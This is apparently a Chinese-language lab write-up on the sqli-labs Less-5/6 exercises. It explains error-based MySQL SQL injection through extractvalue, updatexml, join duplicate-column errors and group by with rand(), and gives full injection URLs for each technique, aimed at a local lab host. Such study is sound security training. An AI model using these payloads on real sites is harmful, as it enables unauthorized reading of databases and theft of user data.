昨晚就看了一部分了,然后顺手将 payload 放在 sqlchop 中测试了一下,发现了一个惊天秘密,非常明显的 sql 注入语句也认为是正常的,后来发现是不同平台编译的时候有中间文件没有全部清除,导致后续自动机出错。

上一篇文章都是有错误和数据回显的,利用相对容易,这一次的是没有数据回显,只有错误回显的,我们要使用报错注入了。

首先还是确定注入点类型,check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1,确定还是字符型的。然后发现非报错的时候,如果 id 存在就只显示 you are in,否则什么都不显示了。

报错注入的几种方法:

  1. extractvalue,MySQL 解析 xml 的一个函数,用法是ExtractValue(xml_frag, xpath_expr)。报错的时候是可以爆出第二个参数的内容的。比如http://172.16.61.136/sqli-labs/Less-5?id=1' and extractvalue(1, version()) --+就可以看到 XPATH syntax error: '.27-0ubuntu0.15.04.1'。然后我们可以在第二个函数的位置放置 payloads。要注意的是:
    • 一定要报错,如果第二个参数是数字之类的可能并不会报错,这个时候可以 concat 一个特殊字符,比如http://172.16.61.136/sqli-labs/Less-5?id=1' and extractvalue(1, (select count(*) from security.users)) --+不报错,而http://172.16.61.136/sqli-labs/Less-5?id=1' and extractvalue(1, concat("/", (select count(*) from security.users))) --+才报错了。

    • 部分情况下可能会存在数据截断的问题

      • 最开始那个 payload,实际的 version()是5.6.27-0ubuntu0.15.04.1',而显示的时候前面丢了一些,这个时候前面拼接一个特殊字符一般可以解决问题,payload 修改为http://172.16.61.136/sqli-labs/Less-5?id=1' and extractvalue(1, concat("/", version())) --+

      • 要显示的数据过长也会导致后面截断,这个好像暂时没什么好方法。http://172.16.61.136/sqli-labs/Less-5?id=1' and extractvalue(1, concat("/", version(), database(), (select count(*) from security.users))) --+就无法显示 count(*) 的结果。

  2. updatexml,也是解析 xml 的一个函数,用法是UpdateXML(xml_target, xpath_expr, new_xml)。第二个参数是可以爆出内容的。比如http://172.16.61.136/sqli-labs/Less-5?id=1' and updatexml(1, version(), 1) --+,同样存在数据截断的问题,也可以通过 concat 字符解决,http://172.16.61.136/sqli-labs/Less-5?id=1' and updatexml(1, concat("/", version()), 1) --+

  3. join 报错注入

    1. 比如http://172.16.61.136/sqli-labs/Less-5?id=1' union select * from (select * from mysql.user a join mysql.user b) c --+,就会报错 Duplicate column name 'Host',得到第一个字段 Host。

    2. 然后继续使用 using,比如http://172.16.61.136/sqli-labs/Less-5?id=1' union select * from (select * from mysql.user a join mysql.user b using(Host)) c --+就能得到第二个表名。

    3. 依次类推,using 里面是之前表的名字,逗号分隔,http://172.16.61.136/sqli-labs/Less-5?id=1' union select * from (select * from mysql.user a join mysql.user b using(Host, User)) c --+

  4. group by 报错。group by 大致就是先筛出数据,然后按照 group by 的字段逐个的查找,如果 key 存在,就讲数据插入临时表,如果 key 不存在,就创建 key,插入数据。如果我们使用随机化 key,可能会造成 group by 时候的错误。payload 可以是http://172.16.61.136/sqli-labs/Less-5?id=1' and (select 1 from (select count(*), concat(version(), floor(rand(0)*2))x from information_schema.tables group by x)a) --+。然后我们又可以愉快的爆数据库了,http://172.16.61.136/sqli-labs/Less-5?id=1' and (select 1 from (select count(*), concat((select schema_name from information_schema.schemata limit 1 offset {offset}), floor(rand(0)*2))x from information_schema.tables group by x)a) --+

Lesson 6 和上面的一样,不过单引号换成了双引号。